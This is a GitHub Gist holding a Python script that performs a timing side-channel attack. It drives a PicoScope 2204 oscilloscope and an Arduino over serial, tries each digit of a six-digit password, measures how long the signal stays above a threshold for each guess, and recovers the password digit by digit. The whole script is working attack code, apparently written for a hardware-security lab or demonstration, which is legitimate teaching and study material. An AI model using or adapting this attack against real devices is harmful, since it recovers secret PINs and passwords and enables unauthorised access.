Created
July 29, 2019 08:06
-
-
Save MariaRigaki/2d65a8a569cced23272beb7962d6654d to your computer and use it in GitHub Desktop.
Timing attack using the picoscope 2204 SDK and arduino
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import ctypes | |
| import numpy as np | |
| from picosdk.ps2000 import ps2000 as ps | |
| import matplotlib.pyplot as plt | |
| from picosdk.functions import adc2mV, assert_pico2000_ok | |
| import serial | |
| import time | |
| ser = serial.Serial('/dev/ttyACM0') | |
| ser.baudrate = 9600 | |
| # Create status ready for use | |
| status = dict() | |
| # Open 2000 series PicoScope | |
| # Returns handle to chandle for use in future API functions | |
| status["openUnit"] = ps.ps2000_open_unit() | |
| assert_pico2000_ok(status["openUnit"]) | |
| # Create chandle for use | |
| chandle = ctypes.c_int16(status["openUnit"]) | |
| # Set up channel A | |
| # handle = chandle | |
| # channel = PS2000_CHANNEL_A = 0 | |
| # enabled = 1 | |
| # coupling type = PS2000_DC = 1 | |
| # range = PS2000_2V = 7 | |
| # analogue offset = 0 V | |
| chARange = 7 | |
| status["setChA"] = ps.ps2000_set_channel(chandle, 0, 1, 1, chARange) | |
| assert_pico2000_ok(status["setChA"]) | |
| # Set up single trigger | |
| # handle = chandle | |
| # source = PS2000_CHANNEL_A = 0 | |
| # threshold = 1024 ADC counts | |
| # direction = PS2000_RISING = 0 | |
| # delay = 0 s | |
| # auto Trigger = 1000 ms | |
| status["trigger"] = ps.ps2000_set_trigger(chandle, 0, 4000, 0, 0, 1000) | |
| assert_pico2000_ok(status["trigger"]) | |
| # Set number of pre and post trigger samples to be collected | |
| preTriggerSamples = 150 | |
| postTriggerSamples = 150 | |
| maxSamples = preTriggerSamples + postTriggerSamples | |
| # Get timebase information | |
| # handle = chandle | |
| # timebase = 8 = timebase | |
| # no_of_samples = maxSamples | |
| # pointer to time_interval = ctypes.byref(timeInterval) | |
| # pointer to time_units = ctypes.byref(timeUnits) | |
| # oversample = 1 = oversample | |
| # pointer to max_samples = ctypes.byref(maxSamplesReturn) | |
| timebase = 3 | |
| timeInterval = ctypes.c_int32() | |
| timeUnits = ctypes.c_int32() | |
| oversample = ctypes.c_int16(1) | |
| maxSamplesReturn = ctypes.c_int32() | |
| status["getTimebase"] = ps.ps2000_get_timebase(chandle, timebase, maxSamples, ctypes.byref(timeInterval), ctypes.byref(timeUnits), oversample, ctypes.byref(maxSamplesReturn)) | |
| assert_pico2000_ok(status["getTimebase"]) | |
| NUM_DIGITS = 6 | |
| base = '' | |
| max_digit = '0' | |
| max_window = 0 | |
| for i in range(NUM_DIGITS): | |
| for c in '0123456789': | |
| # Run block capture | |
| # handle = chandle | |
| # no_of_samples = maxSamples | |
| # timebase = timebase | |
| # oversample = oversample | |
| # pointer to time_indisposed_ms = ctypes.byref(timeIndisposedms) | |
| timeIndisposedms = ctypes.c_int32() | |
| status["runBlock"] = ps.ps2000_run_block(chandle, maxSamples, timebase, 1, ctypes.byref(timeIndisposedms)) | |
| assert_pico2000_ok(status["runBlock"]) | |
| # Check for data collection to finish using ps2000_ready | |
| ready = ctypes.c_int16(0) | |
| check = ctypes.c_int16(0) | |
| while ready.value == check.value: | |
| status["isReady"] = ps.ps2000_ready(chandle) | |
| ser.write(bytes(base, 'utf-8') + bytes(c, 'utf-8') ) | |
| ready = ctypes.c_int16(status["isReady"]) | |
| # Create buffer to hold the data | |
| bufferA = (ctypes.c_int16 * maxSamples)() | |
| # Get data from scope | |
| # handle = chandle | |
| # pointer to buffer_a = ctypes.byref(bufferA) | |
| # pointer to buffer_b = ctypes.byref(bufferB) | |
| # poiner to overflow = ctypes.byref(oversample) | |
| # no_of_values = cmaxSamples | |
| cmaxSamples = ctypes.c_int32(maxSamples) | |
| status["getValues"] = ps.ps2000_get_values(chandle, ctypes.byref(bufferA), None, None, None, ctypes.byref(oversample), cmaxSamples) | |
| assert_pico2000_ok(status["getValues"]) | |
| # find maximum ADC count value | |
| maxADC = ctypes.c_int16(32767) | |
| # convert ADC counts data to mV | |
| adc2mVChA = adc2mV(bufferA, chARange, maxADC) | |
| # The correct digit is the one with the longer time window | |
| temp = len(np.where(np.array(adc2mVChA) >= 490)[0]) | |
| if temp > max_window: | |
| max_window = temp | |
| max_digit = c | |
| time.sleep(0.5) | |
| print("Digit {} is {}.".format(i+1, max_digit)) | |
| base += max_digit | |
| max_digit = '0' | |
| max_window = 0 | |
| print("The password is {}!".format(base)) | |
| # Close the serial connection | |
| ser.close() | |
| # Stop the scope | |
| # handle = chandle | |
| ps.ps2000_stop(chandle) | |
| # Close unitDisconnect the scope | |
| # handle = chandle | |
| ps.ps2000_close_unit(chandle) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment